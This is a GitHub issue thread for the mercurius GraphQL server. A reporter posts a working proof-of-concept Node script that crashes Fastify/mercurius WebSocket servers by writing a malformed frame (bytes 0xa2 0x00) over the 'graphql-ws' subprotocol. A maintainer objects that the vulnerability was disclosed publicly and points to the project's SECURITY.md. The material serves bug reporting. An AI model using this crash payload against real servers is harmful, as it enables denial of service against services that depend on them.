Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Invalid WebSocket frame: RSV2 and RSV3 must be clear #939

Closed
marcolanaro opened this issue Jan 6, 2023 · 4 comments · Fixed by #940
Closed

Invalid WebSocket frame: RSV2 and RSV3 must be clear #939

marcolanaro opened this issue Jan 6, 2023 · 4 comments · Fixed by #940

Comments

@marcolanaro
Copy link

It looks like the server crash in specific conditions.
This is related to #908.
I thought i solved it with fastify/fastify-websocket#228, but that's not completely true.

Before that PR, I was able to crash mercurius with:

const WebSocket = require('ws');

const ws = new WebSocket('ws://127.0.0.1:1337/graphql');

ws.on('open', function open() {
  ws._socket.write(Buffer.from([0xa2, 0x00]));
});

Now that's happening only specifying the websocket protocol.
Given this server index.js:

const Fastify = require('fastify')
const mercurius = require('mercurius')

const schema = `
  type Query {
    add(x: Int, y: Int): Int
  }
`

const resolvers = {
  Query: {
    add: async (_, { x, y }) => x + y
  }
}

async function start() {
    const fastify = Fastify()
    fastify.register(mercurius, {
        schema,
        resolvers,
        subscription: true
    })

    await fastify.listen({ port: 1337 })
}

start();

I can crash it executing this script crash_it.js (see the second parameter of Websocket class):

const WebSocket = require('ws');

const ws = new WebSocket('ws://127.0.0.1:1337/graphql', 'graphql-ws');

ws.on('open', function open() {
  ws._socket.write(Buffer.from([0xa2, 0x00]));
});
@marcolanaro
Copy link
Author

Last time it was an issue in @fastify/websocket, this time I'm not so sure.
For comparison, if I remove mercurius from the equation, I was able to crash a standard fastify websocket server, now I'm not able anymore. Follow an example that was crashing before @fastify/websocket@7.1.1.

crash_it.js:

const WebSocket = require('ws');

const ws = new WebSocket('ws://127.0.0.1:2000', 'graphql-ws');

ws.on('open', function open() {
  ws._socket.write(Buffer.from([0xa2, 0x00]));
});

index.js:

const Fastify = require('fastify')
const fastifyWebsocket = require('@fastify/websocket')

async function start() {
    const fastify = Fastify()
    await fastify.register(fastifyWebsocket)

    await fastify.listen({ port: 2000 })
}

start();

@mcollina
Copy link
Collaborator

mcollina commented Jan 6, 2023

This is the second time you disclose a security vulnerability publicly. Please stop and report them privately instead.

@marcolanaro
Copy link
Author

I apologise, this is the first time I've been told not to.
It will not happen again.

@mcollina
Copy link
Collaborator

mcollina commented Jan 7, 2023

Most project will have a SECURITY.md file. You should have followed the instructions there:

https://github.com/mercurius-js/mercurius/blob/master/SECURITY.md

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

2 participants